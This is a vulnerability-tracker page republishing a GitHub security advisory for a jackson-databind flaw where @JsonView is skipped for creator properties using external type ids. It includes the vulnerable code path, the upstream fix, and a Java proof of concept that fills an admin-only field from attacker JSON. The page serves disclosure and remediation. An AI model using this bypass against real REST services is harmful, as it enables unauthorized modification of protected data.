GHSA-mhm7-754m-9p8w: jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`
Noroxi assessment
Priority: Monitor (action score 26/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: com.fasterxml.jackson.core:jackson-databind (Maven) 2.18.9, 2.21.5.
Low priority for now. Upgrade to com.fasterxml.jackson.core:jackson-databind (Maven) 2.18.9, 2.21.5 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary In `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active. This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path. ## Vulnerable Code Path File: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java` Method: `deserializeUsingPropertyBasedWithExternalTypeId` On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`: ```java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; } ``` On 3.1.4, the same branch contains the additional guard (commit 7dc7a17): ```java if (creatorProp != null) { // [databind#5971]: must honor active view here too if ((activeView != null) && !creatorProp.visibleInView(activeView)) { p.skipChildren(); continue; } ... } ``` The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch. Proof of Concept Compiles and runs against jackson-databind 2.21.4: ```java import com.fasterxml.jackson.annotation.*; import com.fasterxml.jackson.databind.ObjectMapper; public class JsonViewExternalTypeIdBypass { public static class PublicView {} public static class AdminView extends PublicView {} public static abstract class Asset { public String name; } public static class PublicAsset extends Asset {} public static class AdminAsset extends Asset { public String secret; } public static class Container { @JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.EXTERNAL_PROPERTY, property = "kind") @JsonSubTypes({ @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"), @JsonSubTypes.Type(value = AdminAsset.class, name = "admin") }) @JsonView(AdminView.class) public Asset asset; public String label; @JsonCreator public Container( @JsonProperty("label") String label, @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) { this.label = label; this.asset = asset; } } public static class Wrapper { @JsonView(PublicView.class) public Container data; } public static void main(String[] args) throws Exception { // Admin-only "asset" should be blocked when reading with PublicView String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\"," + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}"; ObjectMapper om = new ObjectMapper(); Wrapper r = om.readerWithView(PublicView.class) .forType(Wrapper.class) .readValue(json); System.out.println(r.data); // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}} // Expected (secure): Container{label='hello', asset=null} if (r.data.asset != null && r.data.asset instanceof AdminAsset) { System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView"); } } } ``` A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration. ### Impact View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field. - CWE-863 (Incorrect Authorization) - Same impact class as CVE-2026-54517 / CVE-2026-54518 - No RCE, no DoS — this is an access-control / mass-assignment bypass ### Trigger Conditions Developer code must combine (no opt-in user configuration required): 1. Property-based @JsonCreator on the outer type 2. A creator parameter annotated with @JsonView(RestrictedView.class) 3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")
- Published
- Jul 21, 2026
- Updated
- Sep 10, 2026
- EPSS
- —
- CWE
- CWE-863
Report tools
Action score
26
Low priority for now.
- CVSS
- 26 / 40 · 6.5 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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| Vendor | Product | CPE |
|---|---|---|
| Maven | com.fasterxml.jackson.core:jackson-databind | pkg:maven/com.fasterxml.jackson.core/jackson-databind |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Maven | com.fasterxml.jackson.core:jackson-databind | from 2.18.0 · before 2.18.9 | 2.18.9 |
| Maven | com.fasterxml.jackson.core:jackson-databind | from 2.21.0 · before 2.21.5 | 2.21.5 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Maven:com.fasterxml.jackson.core:jackson-databind | 2.18.9 | Package registry (OSV) |
| Maven:com.fasterxml.jackson.core:jackson-databind | 2.21.5 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- low · data can be read
- Integrity
- low · data or configuration can be modified
- Availability
- none
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- Low
- Integrity impact
- Low
- Availability impact
- None
Weakness class (CWE)
CWE-863 · Incorrect AuthorizationCVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
MITRE has no CAPEC/ATT&CK mapping for this CWE.
Change log (1)
- Fix✗ → ✓
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References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.